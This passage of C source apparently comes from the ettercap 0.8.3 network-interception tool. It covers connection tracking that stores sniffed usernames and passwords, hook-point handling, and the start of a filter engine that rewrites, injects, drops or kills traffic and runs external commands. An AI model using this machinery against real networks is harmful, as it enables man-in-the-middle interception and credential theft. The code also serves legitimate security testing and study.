DATA.disp_len to have an * effective count of byte trasferred, disp_data * may be longer or shorted than DATA.data */ co->xferred += po->DATA.len; if(!ip_addr_cmp(&co->L3_addr1, &po->L3.src)) co->tx += po->DATA.len; else co->rx += po->DATA.len; /* * update the flags: * if the packet was modified or dropped, the connection * must be marked as well. */ if (po->flags & PO_MODIFIED || po->flags & PO_DROPPED) co->flags |= CONN_MODIFIED; /* * update the password * always overwrite the old one, a better one may * has been collected... */ if (po->DISSECTOR.user) { SAFE_FREE(co->DISSECTOR.user); SAFE_FREE(co->DISSECTOR.pass); SAFE_FREE(co->DISSECTOR.info); co->DISSECTOR.user = strdup(po->DISSECTOR.user); if (po->DISSECTOR.pass) co->DISSECTOR.pass = strdup(po->DISSECTOR.pass); if (po->DISSECTOR.info) co->DISSECTOR.info = strdup(po->DISSECTOR.info); } /* execute the hookpoint */ conntrack_hook(co, po); } /* * create a new entry in the tail */ static void conntrack_add(struct packet_object *po) { struct conn_tail *cl; struct conn_hash_search *cs; DEBUG_MSG("conntrack_add: NEW CONNECTION"); /* alloc the list element */ SAFE_CALLOC(cl, 1, sizeof(struct conn_tail)); /* alloc the conn object in the element */ SAFE_CALLOC(cl->co, 1, sizeof(struct conn_object)); /* * here we create the connection. * this is the first packet seen... * addr1 will be the source and addr2 the dest */ /* fill the addresses */ memcpy(&cl->co->L2_addr1, &po->L2.src, MEDIA_ADDR_LEN); memcpy(&cl->co->L2_addr2, &po->L2.dst, MEDIA_ADDR_LEN); memcpy(&cl->co->L3_addr1, &po->L3.src, sizeof(struct ip_addr)); memcpy(&cl->co->L3_addr2, &po->L3.dst, sizeof(struct ip_addr)); /* copy the port */ cl->co->L4_addr1 = po->L4.src; cl->co->L4_addr2 = po->L4.dst; cl->co->L4_proto = po->L4.proto; /* initialize the connection buffer */ connbuf_init(&cl->co->data, EC_GBL_CONF->connection_buffer); /* update the connection entry */ conntrack_update(cl->co, po); /* alloc the hash table element */ SAFE_CALLOC(cs, 1, sizeof(struct conn_hash_search)); /* set the pointer to the list */ cs->cl = cl; /* * set the pointer to the element in the hash table * it is used when a connection is deleted because * even the element in the hash table must be deleted */ cl->cs = cs; /* insert the new connection in the tail */ TAILQ_INSERT_TAIL(&conntrack_tail_head, cl, next); /* insert the new connection in the tail */ LIST_INSERT_HEAD(&conntrack_search_head[conntrack_hash(po)], cs, next); } /* * is the packet object belonging to this connection ? */ static int conntrack_match(struct conn_object *co, struct packet_object *po) { /* different protocol, they don't match */ if (co->L4_proto != po->L4.proto) return -E_INVALID; /* match it in one way... */ if (!ip_addr_cmp(&co->L3_addr1, &po->L3.src) && !ip_addr_cmp(&co->L3_addr2, &po->L3.dst) && co->L4_addr1 == po->L4.src && co->L4_addr2 == po->L4.dst) return E_SUCCESS; /* ...and in the other */ if (!ip_addr_cmp(&co->L3_addr1, &po->L3.dst) && !ip_addr_cmp(&co->L3_addr2, &po->L3.src) && co->L4_addr1 == po->L4.dst && co->L4_addr2 == po->L4.src) return E_SUCCESS; return -E_NOMATCH; } /* * erase a connection object */ static void conntrack_del(struct conn_object *co) { struct ct_hook_list *h, *tmp; /* remove the hooks */ SLIST_FOREACH_SAFE(h, &co->hook_head, next, tmp) { SLIST_REMOVE(&co->hook_head, h, ct_hook_list, next); SAFE_FREE(h); } /* wipe the associated buffer */ connbuf_wipe(&co->data); SAFE_FREE(co); } /* * erase the whole connections list */ void conntrack_purge(void) { struct conn_tail *cl, *tmp; DEBUG_MSG("conntrack_purge"); TAILQ_FOREACH_SAFE(cl, &conntrack_tail_head, next, tmp) { /* don't erase the connection if it is viewed */ if (cl->co->flags & CONN_VIEWING) continue; CONNTRACK_LOCK; /* wipe the connection */ conntrack_del(cl->co); /* remove the element in the hash table */ LIST_REMOVE(cl->cs, next); SAFE_FREE(cl->cs); /* remove the element in the tailq */ TAILQ_REMOVE(&conntrack_tail_head, cl, next); SAFE_FREE(cl); CONNTRACK_UNLOCK; } } EC_THREAD_FUNC(conntrack_timeouter) { struct timeval ts; struct timeval diff; struct conn_tail *cl; struct conn_tail *tmp = NULL; size_t sec; /* variable not used */ (void) EC_THREAD_PARAM; /* initialize the thread */ ec_thread_init(); DEBUG_MSG("conntrack_timeouter: activated !"); LOOP { /* * sleep for the maximum time possible * (determined as the minumum of the timeouts) */ sec = MIN(EC_GBL_CONF->connection_idle, EC_GBL_CONF->connection_timeout); DEBUG_MSG("conntrack_timeouter: sleeping for %lu sec", (unsigned long)sec); /* always check if a cancel is requested */ CANCELLATION_POINT(); ec_usleep(SEC2MICRO(sec)); DEBUG_MSG("conntrack_timeouter: woke up"); /* get current time */ gettimeofday(&ts, NULL); /* * the timeouter is the only thread that erase a connection * so we are sure that the list will be consistent till the * end. * we can lock and unlock every time we handle an element of * the list to permit the conntrack functions to operate on the * list even when timeouter goes thru the list */ TAILQ_FOREACH_SAFE(cl, &conntrack_tail_head, next, tmp) { /* don't erase the connection if it is viewed */ if (cl->co->flags & CONN_VIEWING) continue; CONNTRACK_LOCK; /* calculate the difference */ time_sub(&ts, &cl->co->ts, &diff); /* * update it only if the staus is active, * all the other status must be left as they are */ if (cl->co->status == CONN_ACTIVE && diff.tv_sec >= EC_GBL_CONF->connection_idle) cl->co->status = CONN_IDLE; /* delete the timeouted connections */ if (diff.tv_sec >= EC_GBL_CONF->connection_timeout) { /* wipe the connection */ conntrack_del(cl->co); /* remove the element in the hash table */ LIST_REMOVE(cl->cs, next); SAFE_FREE(cl->cs); /* remove the element in the tailq */ TAILQ_REMOVE(&conntrack_tail_head, cl, next); SAFE_FREE(cl); } CONNTRACK_UNLOCK; CANCELLATION_POINT(); } } return NULL; } /* * add the fucntion 'func' to the hookpoint of the * connection owning the packet object */ int conntrack_hook_packet_add(struct packet_object *po, void (*func)(struct packet_object *po)) { struct conn_object *conn; CONNTRACK_LOCK; /* search the connection already exists */ conn = conntrack_search(po); /* * if the connection already exist, add the hook function * else create the entry for the connection and add the hook * this is useful to add hooks for future connections */ /* create the fake connection */ if (!conn) { DEBUG_MSG("conntrack_hook_packet_add: ephemeral connection"); conntrack_add(po); conn = conntrack_search(po); } /* add the hook point */ if (conn) { struct ct_hook_list *h; DEBUG_MSG("conntrack_hook_packet_add: existing connection"); SAFE_CALLOC(h, 1, sizeof(struct ct_hook_list)); /* set the hook function */ h->func = func; SLIST_INSERT_HEAD(&conn->hook_head, h, next); CONNTRACK_UNLOCK; return E_SUCCESS; } CONNTRACK_UNLOCK; return -E_NOTFOUND; } /* * removes a hook from a connection */ int conntrack_hook_packet_del(struct packet_object *po, void (*func)(struct packet_object *po)) { struct conn_object *conn; DEBUG_MSG("conntrack_hook_packet_del"); CONNTRACK_LOCK; /* search the connection already exists */ conn = conntrack_search(po); /* remove the hook function only if the connection exists */ if (conn) { struct ct_hook_list *h; SLIST_FOREACH(h, &conn->hook_head, next) { if (h->func == func) { SLIST_REMOVE(&conn->hook_head, h, ct_hook_list, next); SAFE_FREE(h); break; } } CONNTRACK_UNLOCK; return E_SUCCESS; } CONNTRACK_UNLOCK; return -E_NOTFOUND; } /* * add the fucntion 'func' to the hookpoint of the * connection 'co' */ int conntrack_hook_conn_add(struct conn_object *co, void (*func)(struct packet_object *po)) { struct ct_hook_list *h; CONNTRACK_LOCK; /* add the hook point */ DEBUG_MSG("conntrack_hook_conn_add"); SAFE_CALLOC(h, 1, sizeof(struct ct_hook_list)); /* set the hook function */ h->func = func; SLIST_INSERT_HEAD(&co->hook_head, h, next); CONNTRACK_UNLOCK; return E_SUCCESS; } /* * removes a hook from a connection */ int conntrack_hook_conn_del(struct conn_object *co, void (*func)(struct packet_object *po)) { struct ct_hook_list *h; DEBUG_MSG("conntrack_hook_conn_del"); CONNTRACK_LOCK; SLIST_FOREACH(h, &co->hook_head, next) { if (h->func == func) { SLIST_REMOVE(&co->hook_head, h, ct_hook_list, next); SAFE_FREE(h); break; } } CONNTRACK_UNLOCK; return E_SUCCESS; } /* * executes the hook point */ void conntrack_hook(struct conn_object *co, struct packet_object *po) { struct ct_hook_list *h; /* pass the po to all the hooked functions */ SLIST_FOREACH(h, &co->hook_head, next) { h->func(po); } } /* * fill the desc and return the next/prev element */ void * conntrack_print(int mode, void *list, char **desc, size_t len) { struct conn_tail *c = (struct conn_tail *)list; struct conn_tail *cl; char src[MAX_ASCII_ADDR_LEN]; char dst[MAX_ASCII_ADDR_LEN]; char proto[2], status[8], flags[2]; #ifdef HAVE_GEOIP size_t slen; #endif /* NULL is used to retrieve the first element */ if (list == NULL) return TAILQ_FIRST(&conntrack_tail_head); /* the caller wants the description */ if (desc != NULL) { /* IP address to string */ ip_addr_ntoa(&c->co->L3_addr1, src); ip_addr_ntoa(&c->co->L3_addr2, dst); /* determine the protocol */ conntrack_protostr(c->co, proto, sizeof(proto)); /* determine the status */ conntrack_statusstr(c->co, status, sizeof(status)); /* determine the flags */ conntrack_flagstr(c->co, flags, sizeof(flags)); snprintf(*desc, len, "%1s %15s:%-5d - %15s:%-5d %1s %s TX: %lu RX: %lu", flags, src, ntohs(c->co->L4_addr1), dst, ntohs(c->co->L4_addr2), proto, status, (unsigned long)c->co->tx, (unsigned long)c->co->rx); #ifdef HAVE_GEOIP /* determine current string length */ slen = strlen(*desc); /* check if enough space is available to append the GeoIP info */ if (len - slen > 14 && EC_GBL_CONF->geoip_support_enable) { snprintf(*desc + slen, len - slen, ", CC: %2s > %2s", geoip_ccode_by_ip(&c->co->L3_addr1), geoip_ccode_by_ip(&c->co->L3_addr2)); } #endif } /* return the next/prev/current to the caller */ switch (mode) { case -1: return TAILQ_PREV(c, conn_head, next); break; case +1: return TAILQ_NEXT(c, next); break; case 0: /* if exists in the list, return it */ TAILQ_FOREACH(cl, &conntrack_tail_head, next) { if (cl == c) return c; } /* else, return NULL */ return NULL; default: return list; break; } return NULL; } /* * copy the connection object pointer to conn and return the next/prev element */ void * conntrack_get(int mode, void *list, struct conn_object **conn) { struct conn_tail *c = (struct conn_tail *)list; struct conn_tail *cl; /* NULL is used to retrieve the first element */ if (list == NULL) return TAILQ_FIRST(&conntrack_tail_head); /* the caller wants the connection object */ if (conn != NULL) *conn = c->co; /* return the next/prev/current to the caller */ switch (mode) { case -1: return TAILQ_PREV(c, conn_head, next); break; case +1: return TAILQ_NEXT(c, next); break; case 0: /* if exists in the list, return it */ TAILQ_FOREACH(cl, &conntrack_tail_head, next) { if (cl == c) return c; } /* else, return NULL */ return NULL; default: return list; break; } return NULL; } /* * copies the protocol string of a given connection object into pstr * E_SUCCESS is returned on success * -E_INVALID is returned if parameters are not initialized */ int conntrack_protostr(struct conn_object *conn, char *pstr, int len) { if (pstr == NULL || conn == NULL) return -E_INVALID; memset(pstr, 0, len); switch (conn->L4_proto) { case NL_TYPE_UDP: strncpy(pstr, "UDP", len - 1); break; case NL_TYPE_TCP: strncpy(pstr, "TCP", len - 1); break; default: strncpy(pstr, " ", len - 1); } return E_SUCCESS; } /* * copies the flags string of a given connection object into pstr * E_SUCCESS is returned on success * -E_INVALID is returned if parameters are not initialized */ int conntrack_flagstr(struct conn_object *conn, char *pstr, int len) { if (pstr == NULL || conn == NULL) return -E_INVALID; memset(pstr, 0, len); /* * account collection has precedence over injection/modification */ if (conn->flags & CONN_MODIFIED) strncpy(pstr, "M", len - 1); if (conn->flags & CONN_INJECTED) strncpy(pstr, "I", len - 1); if (conn->DISSECTOR.user) strncpy(pstr, "*", len - 1); return E_SUCCESS; } /* * copies the status string of a given connection object into pstr * E_SUCCESS is returned on success * -E_INVALID is returned if parameters are not initialized */ int conntrack_statusstr(struct conn_object *conn, char *pstr, int len) { if (pstr == NULL || conn == NULL) return -E_INVALID; memset(pstr, 0, len); /* determine the status */ switch (conn->status) { case CONN_IDLE: strncpy(pstr, "idle ", len - 1); break; case CONN_OPENING: strncpy(pstr, "opening", len - 1); break; case CONN_OPEN: strncpy(pstr, "open ", len - 1); break; case CONN_ACTIVE: strncpy(pstr, "active ", len - 1); break; case CONN_CLOSING: strncpy(pstr, "closing", len - 1); break; case CONN_CLOSED: strncpy(pstr, "closed ", len - 1); break; case CONN_KILLED: strncpy(pstr, "killed ", len - 1); break; } return E_SUCCESS; } /* * copies the country codes of a given connection object into pstr * E_SUCCESS is returned on success * -E_INVALID is returned if parameters are not initialized * -E_INITFAIL if geoip API is not initialized properly */ int conntrack_countrystr(struct conn_object *conn, char *pstr, int len) { #ifdef HAVE_GEOIP const char *ccode_src, *ccode_dst = NULL; #endif if (pstr == NULL || conn == NULL || len < 8) return -E_INVALID; #ifdef HAVE_GEOIP if (!EC_GBL_CONF->geoip_support_enable) return -E_INITFAIL; if ((ccode_src = geoip_ccode_by_ip(&conn->L3_addr1)) == NULL) return -E_INITFAIL; if ((ccode_dst = geoip_ccode_by_ip(&conn->L3_addr2)) == NULL) return -E_INITFAIL; snprintf(pstr, len, "%2s > %2s", ccode_src, ccode_dst); #endif return E_SUCCESS; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_hook.c0000644000175000017500000000762613505247364015551 0ustar koeppeakoeppea/* ettercap -- hook points handling Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #ifdef HAVE_EC_LUA #include #endif #include struct hook_list { int point; void (*func)(struct packet_object *po); LIST_ENTRY (hook_list) next; }; /* global data */ /* the list for the HOOK_* */ static LIST_HEAD(, hook_list) hook_list_head; /* the list for the PACKET_* */ static LIST_HEAD(, hook_list) hook_pck_list_head; pthread_mutex_t hook_mutex = PTHREAD_MUTEX_INITIALIZER; #define HOOK_LOCK do{ pthread_mutex_lock(&hook_mutex); } while(0) #define HOOK_UNLOCK do{ pthread_mutex_unlock(&hook_mutex); } while(0) pthread_mutex_t hook_pck_mutex = PTHREAD_MUTEX_INITIALIZER; #define HOOK_PCK_LOCK do{ pthread_mutex_lock(&hook_pck_mutex); } while(0) #define HOOK_PCK_UNLOCK do{ pthread_mutex_unlock(&hook_pck_mutex); } while(0) /*******************************************/ /* execute the functions registered in that hook point */ void hook_point(int point, struct packet_object *po) { struct hook_list *current; /* the hook is for a HOOK_PACKET_* type */ if (point > HOOK_PACKET_BASE) { HOOK_PCK_LOCK; LIST_FOREACH(current, &hook_pck_list_head, next) if (current->point == point) current->func(po); HOOK_PCK_UNLOCK; } else { HOOK_LOCK; LIST_FOREACH(current, &hook_list_head, next) if (current->point == point) current->func(po); HOOK_UNLOCK; } #ifdef HAVE_EC_LUA ec_lua_dispatch_hooked_packet(point, po); #endif return; } /* add a function to an hook point */ void hook_add(int point, void (*func)(struct packet_object *po) ) { struct hook_list *newelem; SAFE_CALLOC(newelem, 1, sizeof(struct hook_list)); newelem->point = point; newelem->func = func; /* the hook is for a HOOK_PACKET_* type */ if (point > HOOK_PACKET_BASE) { HOOK_PCK_LOCK; LIST_INSERT_HEAD(&hook_pck_list_head, newelem, next); HOOK_PCK_UNLOCK; } else { HOOK_LOCK; LIST_INSERT_HEAD(&hook_list_head, newelem, next); HOOK_UNLOCK; } } /* remove a function from an hook point */ int hook_del(int point, void (*func)(struct packet_object *po) ) { struct hook_list *current; /* the hook is for a HOOK_PACKET_* type */ if (point > HOOK_PACKET_BASE) { HOOK_PCK_LOCK; LIST_FOREACH(current, &hook_pck_list_head, next) { if (current->point == point && current->func == func) { LIST_REMOVE(current, next); SAFE_FREE(current); HOOK_PCK_UNLOCK; DEBUG_MSG("hook_del -- %d [%p]", point, func); return E_SUCCESS; } } HOOK_PCK_UNLOCK; } else { HOOK_LOCK; LIST_FOREACH(current, &hook_list_head, next) { if (current->point == point && current->func == func) { LIST_REMOVE(current, next); SAFE_FREE(current); HOOK_UNLOCK; DEBUG_MSG("hook_del -- %d [%p]", point, func); return E_SUCCESS; } } HOOK_UNLOCK; } return -E_NOTFOUND; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_filter.c0000644000175000017500000011260113505247364016064 0ustar koeppeakoeppea/* ettercap -- content filtering engine module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #include #include #include #ifdef HAVE_PCRE #include #endif #define JIT_FAULT(x, ...) do { USER_MSG("JIT FILTER FAULT: " x "\n", ## __VA_ARGS__); return -E_FATAL; } while(0) /* since we need a recursive mutex, we cannot initialize it here statically */ static pthread_mutex_t filters_mutex; #define FILTERS_LOCK do{ pthread_mutex_lock(&filters_mutex); }while(0) #define FILTERS_UNLOCK do{ pthread_mutex_unlock(&filters_mutex); }while(0) /* protos */ static void reconstruct_strings(struct filter_env *fenv, struct filter_header *fh); static int compile_regex(struct filter_env *fenv); static int filter_engine(struct filter_op *fop, struct packet_object *po); static int execute_test(struct filter_op *fop, struct packet_object *po); static int execute_assign(struct filter_op *fop, struct packet_object *po); static int execute_incdec(struct filter_op *fop, struct packet_object *po); static int execute_func(struct filter_op *fop, struct packet_object *po); static int func_search(struct filter_op *fop, struct packet_object *po); static int func_regex(struct filter_op *fop, struct packet_object *po); static int func_pcre(struct filter_op *fop, struct packet_object *po); static int func_replace(struct filter_op *fop, struct packet_object *po); static int func_inject(struct filter_op *fop, struct packet_object *po); static int func_execinject(struct filter_op *fop, struct packet_object *po); static int func_log(struct filter_op *fop, struct packet_object *po); static int func_drop(struct packet_object *po); static int func_kill(struct packet_object *po); static int func_exec(struct filter_op *fop); static int cmp_eq(u_int32 a, u_int32 b); static int cmp_neq(u_int32 a, u_int32 b); static int cmp_lt(u_int32 a, u_int32 b); static int cmp_gt(u_int32 a, u_int32 b); static int cmp_leq(u_int32 a, u_int32 b); static int cmp_geq(u_int32 a, u_int32 b); /*******************************************/ /* initialize the filter mutex */ void filter_init_mutex(void) { pthread_mutexattr_t at; pthread_mutexattr_init(&at); /* we want an recursive mutex, so we can re-aquire it in the same thread */ pthread_mutexattr_settype(&at, PTHREAD_MUTEX_RECURSIVE_NP); pthread_mutex_init(&filters_mutex, &at); } /* * JIT interpreter for binary filters. * it process the filter_ops and apply the instructions * on the given packet object */ static int filter_engine(struct filter_op *fop, struct packet_object *po) { u_int32 eip = 0; u_int32 flags = 0; #define FLAG_FALSE 0 #define FLAG_TRUE 1 /* sanity check */ BUG_IF(fop == NULL); FILTERS_LOCK; /* loop until EXIT */ while (fop[eip].opcode != FOP_EXIT) { switch (fop[eip].opcode) { case FOP_TEST: if (execute_test(&fop[eip], po) == FLAG_TRUE) flags |= FLAG_TRUE; else flags &= ~(FLAG_TRUE); break; case FOP_ASSIGN: execute_assign(&fop[eip], po); /* assignment always returns true */ flags |= FLAG_TRUE; break; case FOP_INC: case FOP_DEC: execute_incdec(&fop[eip], po); /* inc/dec always return true */ flags |= FLAG_TRUE; break; case FOP_FUNC: if (execute_func(&fop[eip], po) == FLAG_TRUE) flags |= FLAG_TRUE; else flags &= ~(FLAG_TRUE); break; case FOP_JMP: /* jump the the next eip */ eip = fop[eip].op.jmp; continue; break; case FOP_JTRUE: /* jump the the next eip if the TRUE FLAG is set*/ if (flags & FLAG_TRUE) { eip = fop[eip].op.jmp; continue; } break; case FOP_JFALSE: /* jump the the next eip if the TRUE FLAG is NOT set */ if (!(flags & FLAG_TRUE)) { eip = fop[eip].op.jmp; continue; } break; default: FILTERS_UNLOCK; JIT_FAULT("unsupported opcode [%d] (execution interrupted)", fop[eip].opcode); break; } /* autoincrement the instruction pointer */ eip++; } FILTERS_UNLOCK; return 0; } /* * pass a packet through every (enabled) filter loaded */ void filter_packet(struct packet_object *po) { struct filter_list **l; for (l = EC_GBL_FILTERS; *l != NULL; l = &(*l)->next) { /* if a script drops the packet, do not present it to following scripts */ if ( po->flags & PO_DROPPED ) break; /* check whether the filter script is enabled */ if ((*l)->enabled) filter_engine((*l)->env.chain, po); } } /* * execute a function. * return FLAG_TRUE if the function was successful */ static int execute_func(struct filter_op *fop, struct packet_object *po) { switch (fop->op.func.op) { case FFUNC_SEARCH: /* search the string */ if (func_search(fop, po) == E_SUCCESS) return FLAG_TRUE; break; case FFUNC_REGEX: /* search the string with a regex */ if (func_regex(fop, po) == E_SUCCESS) return FLAG_TRUE; break; case FFUNC_PCRE: /* evaluate a perl regex */ if (func_pcre(fop, po) == E_SUCCESS) return FLAG_TRUE; break; case FFUNC_REPLACE: /* replace the string */ if (func_replace(fop, po) == E_SUCCESS) return FLAG_TRUE; break; case FFUNC_INJECT: /* replace the string */ if (func_inject(fop, po) == E_SUCCESS) return FLAG_TRUE; break; case FFUNC_EXECINJECT: /* replace the string through output of a executable */ if (func_execinject(fop, po) == E_SUCCESS) return FLAG_TRUE; break; case FFUNC_LOG: /* log the packet */ if (func_log(fop, po) == E_SUCCESS) return FLAG_TRUE; break; case FFUNC_DROP: /* drop the packet */ func_drop(po); return FLAG_TRUE; break; case FFUNC_KILL: /* kill the connection */ func_kill(po); return FLAG_TRUE; break; case FFUNC_MSG: /* display the message to the user */ USER_MSG("%s\n", fop->op.func.string); return FLAG_TRUE; break; case FFUNC_EXEC: /* execute the command */ if (func_exec(fop) == E_SUCCESS) return FLAG_TRUE; break; default: JIT_FAULT("unsupported function [%d]", fop->op.func.op); break; } return FLAG_FALSE; } /* * execute a test. * return FLAG_TRUE if the test was successful */ static int execute_test(struct filter_op *fop, struct packet_object *po) { /* initialize to the beginning of the packet */ u_char *base = po->L2.header; int (*cmp_func)(u_int32, u_int32) = &cmp_eq; /* * point to the right base. * if the test is L3.ttl, we have to start from * L3.header to count for offset. */ switch (fop->op.test.level) { case 2: base = po->L2.header; break; case 3: base = po->L3.header; break; case 4: base = po->L4.header; break; case 5: base = po->DATA.data; break; case 6: base = po->DATA.disp_data; break; default: JIT_FAULT("unsupported test level [%d]", fop->op.test.level); break; } /* set the pointer to the comparison function */ switch(fop->op.test.op) { case FTEST_EQ: cmp_func = &cmp_eq; break; case FTEST_NEQ: cmp_func = &cmp_neq; break; case FTEST_LT: cmp_func = &cmp_lt; break; case FTEST_GT: cmp_func = &cmp_gt; break; case FTEST_LEQ: cmp_func = &cmp_leq; break; case FTEST_GEQ: cmp_func = &cmp_geq; break; default: JIT_FAULT("unsupported test operation"); break; } /* * get the value with the proper size. * 0 is a special case for strings (even binary) */ switch (fop->op.test.size) { case 0: /* string comparison */ if (cmp_func(memcmp(base + fop->op.test.offset, fop->op.test.string, fop->op.test.slen), 0) ) return FLAG_TRUE; break; case 1: /* char comparison */ if (cmp_func(*(u_int8 *)(base + fop->op.test.offset), (fop->op.test.value & 0xff)) ) return FLAG_TRUE; break; case 2: /* short int comparison */ if (cmp_func(htons(*(u_int16 *)(base + fop->op.test.offset)), (fop->op.test.value & 0xffff)) ) return FLAG_TRUE; break; case 4: /* int comparison */ if (cmp_func(htonl(*(u_int32 *)(base + fop->op.test.offset)), (fop->op.test.value & 0xffffffff)) ) return FLAG_TRUE; break; case 16: /* well IPv6 addresses should be handled as 16-byte pointer */ if (cmp_func(memcmp(base + fop->op.test.offset, fop->op.test.ipaddr, fop->op.test.size), 0) ) return FLAG_TRUE; break; default: JIT_FAULT("unsupported test size [%d]", fop->op.test.size); break; } return FLAG_FALSE; } /* * make an assignment. */ static int execute_assign(struct filter_op *fop, struct packet_object *po) { /* initialize to the beginning of the packet */ u_char *base = po->L2.header; /* check the offensiveness */ if (EC_GBL_OPTIONS->unoffensive) JIT_FAULT("Cannot modify packets in unoffensive mode"); DEBUG_MSG("filter engine: execute_assign: L%d O%d S%d", fop->op.assign.level, fop->op.assign.offset, fop->op.assign.size); /* * point to the right base. */ switch (fop->op.assign.level) { case 2: base = po->L2.header; break; case 3: base = po->L3.header; break; case 4: base = po->L4.header; break; case 5: base = po->DATA.data; break; default: JIT_FAULT("unsupported assignment level [%d]", fop->op.assign.level); break; } /* * get the value with the proper size. * 0 is a special case for strings (even binary) */ switch (fop->op.assign.size) { case 0: memcpy(base + fop->op.assign.offset, fop->op.assign.string, fop->op.assign.slen); break; case 1: *(u_int8 *)(base + fop->op.assign.offset) = (fop->op.assign.value & 0xff); break; case 2: *(u_int16 *)(base + fop->op.assign.offset) = ntohs(fop->op.assign.value & 0xffff); break; case 4: *(u_int32 *)(base + fop->op.assign.offset) = ntohl(fop->op.assign.value & 0xffffffff); break; default: JIT_FAULT("unsupported assign size [%d]", fop->op.assign.size); break; } /* mark the packet as modified */ po->flags |= PO_MODIFIED; return FLAG_TRUE; } /* * make an increment or decrement. */ static int execute_incdec(struct filter_op *fop, struct packet_object *po) { /* initialize to the beginning of the packet */ u_char *base = po->L2.header; /* check the offensiveness */ if (EC_GBL_OPTIONS->unoffensive) JIT_FAULT("Cannot modify packets in unoffensive mode"); DEBUG_MSG("filter engine: execute_incdec: L%d O%d S%d", fop->op.assign.level, fop->op.assign.offset, fop->op.assign.size); /* * point to the right base. */ switch (fop->op.assign.level) { case 2: base = po->L2.header; break; case 3: base = po->L3.header; break; case 4: base = po->L4.header; break; case 5: base = po->DATA.data; break; default: JIT_FAULT("unsupported inc/dec level [%d]", fop->op.assign.level); break; } /* * inc/dec the value with the proper size. */ switch (fop->op.assign.size) { case 1: if (fop->opcode == FOP_INC) *(u_int8 *)(base + fop->op.assign.offset) += (fop->op.assign.value & 0xff); else *(u_int8 *)(base + fop->op.assign.offset) -= (fop->op.assign.value & 0xff); break; case 2: if (fop->opcode == FOP_INC) *(u_int16 *)(base + fop->op.assign.offset) += ntohs(fop->op.assign.value & 0xffff); else *(u_int16 *)(base + fop->op.assign.offset) -= ntohs(fop->op.assign.value & 0xffff); break; case 4: if (fop->opcode == FOP_INC) *(u_int32 *)(base + fop->op.assign.offset) += ntohl(fop->op.assign.value & 0xffffffff); else *(u_int32 *)(base + fop->op.assign.offset) -= ntohl(fop->op.assign.value & 0xffffffff); break; default: JIT_FAULT("unsupported inc/dec size [%d]", fop->op.assign.size); break; } /* mark the packet as modified */ po->flags |= PO_MODIFIED; return FLAG_TRUE; } /* * search a string and return TRUE if found */ static int func_search(struct filter_op *fop, struct packet_object *po) { switch (fop->op.func.level) { case 5: /* search in the real packet */ if (memmem(po->DATA.data, po->DATA.len, fop->op.func.string, fop->op.func.slen)) return E_SUCCESS; break; case 6: /* search in the decoded/decrypted packet */ if (memmem(po->DATA.disp_data, po->DATA.disp_len, fop->op.func.string, fop->op.func.slen)) return E_SUCCESS; break; default: JIT_FAULT("unsupported search level [%d]", fop->op.func.level); break; } return -E_NOTFOUND; } /* * search a string with a regex and return TRUE if found */ static int func_regex(struct filter_op *fop, struct packet_object *po) { switch (fop->op.func.level) { case 5: /* search in the real packet */ if (regexec(fop->op.func.ropt->regex, (const char*)po->DATA.data, 0, NULL, 0) == 0) return E_SUCCESS; break; case 6: /* search in the decoded/decrypted packet */ if (regexec(fop->op.func.ropt->regex, (const char*)po->DATA.disp_data, 0, NULL, 0) == 0) return E_SUCCESS; break; default: JIT_FAULT("unsupported regex level [%d]", fop->op.func.level); break; } return -E_NOTFOUND; } /* * evaluate a perl regex and return TRUE if found */ static int func_pcre(struct filter_op *fop, struct packet_object *po) { #ifndef HAVE_PCRE (void) fop; (void) po; JIT_FAULT("pcre_regex support not compiled in ettercap"); return -E_NOTFOUND; #else int ovec[PCRE_OVEC_SIZE]; int ret; DEBUG_MSG("filter engine: func_pcre"); memset(&ovec, 0, sizeof(ovec)); switch (fop->op.func.level) { case 5: /* search in the real packet */ if ( (ret = pcre_exec(fop->op.func.ropt->pregex, fop->op.func.ropt->preg_extra, po->DATA.data, po->DATA.len, 0, 0, ovec, sizeof(ovec) / sizeof(*ovec))) < 0) return -E_NOTFOUND; /* the pcre wants to modify the packet */ if (fop->op.func.replace) { u_char *replaced; u_char *q = fop->op.func.replace; size_t i; int slen = 0; /* don't modify if in unoffensive mode */ if (EC_GBL_OPTIONS->unoffensive) JIT_FAULT("Cannot modify packets in unoffensive mode"); /* * worst case: the resulting string will need: * (n * |input|) + |subst| bytes * where * |input| is the length of the matched input string (not the regex!) * |subst| is the length of the substition string * n is the number of replacement markers in subst * * therefore, we need to count the number of $ characters first * to get an upper limit of the buffer space needed */ int markers = 0; for (i=0; q[i]; i++) { if (q[i] == '$') markers++; } /* now: i = strlen(q) */ SAFE_CALLOC(replaced, markers*(ovec[1]-ovec[0]) + i + 1, sizeof(char)); po->flags |= PO_MODIFIED; /* make the replacement */ uint8_t escaped = 0; for (i = 0; i < fop->op.func.rlen; i++) { /* we encounter an escape character (\), so the next character is to be taken literally */ if (!escaped && q[i] == '\\') { escaped = 1; } /* there is an unescaped position marker */ else if (!escaped && q[i] == '$') { /* a marker is succeeded by an integer, make sure it is there */ if (q[i+1] == '\0') JIT_FAULT("Incomplete marker at end of substitution string"); /* so now we can safely move on to the next character, our digit */ i++; /* we only support up to 9 markers since we only parse a single digit */ if (q[i] < '0' || q[i] > '9') JIT_FAULT("Incomplete marker without integer in substitution string"); int marker = q[i]-'0'; /* check if the requested marker was found in the pce */ if (marker > ret - 1 || marker == 0) JIT_FAULT("Too many marker for this pcre expression"); int t = ovec[marker * 2]; int r = ovec[marker * 2 + 1]; /* copy the sub-string in place of the marker 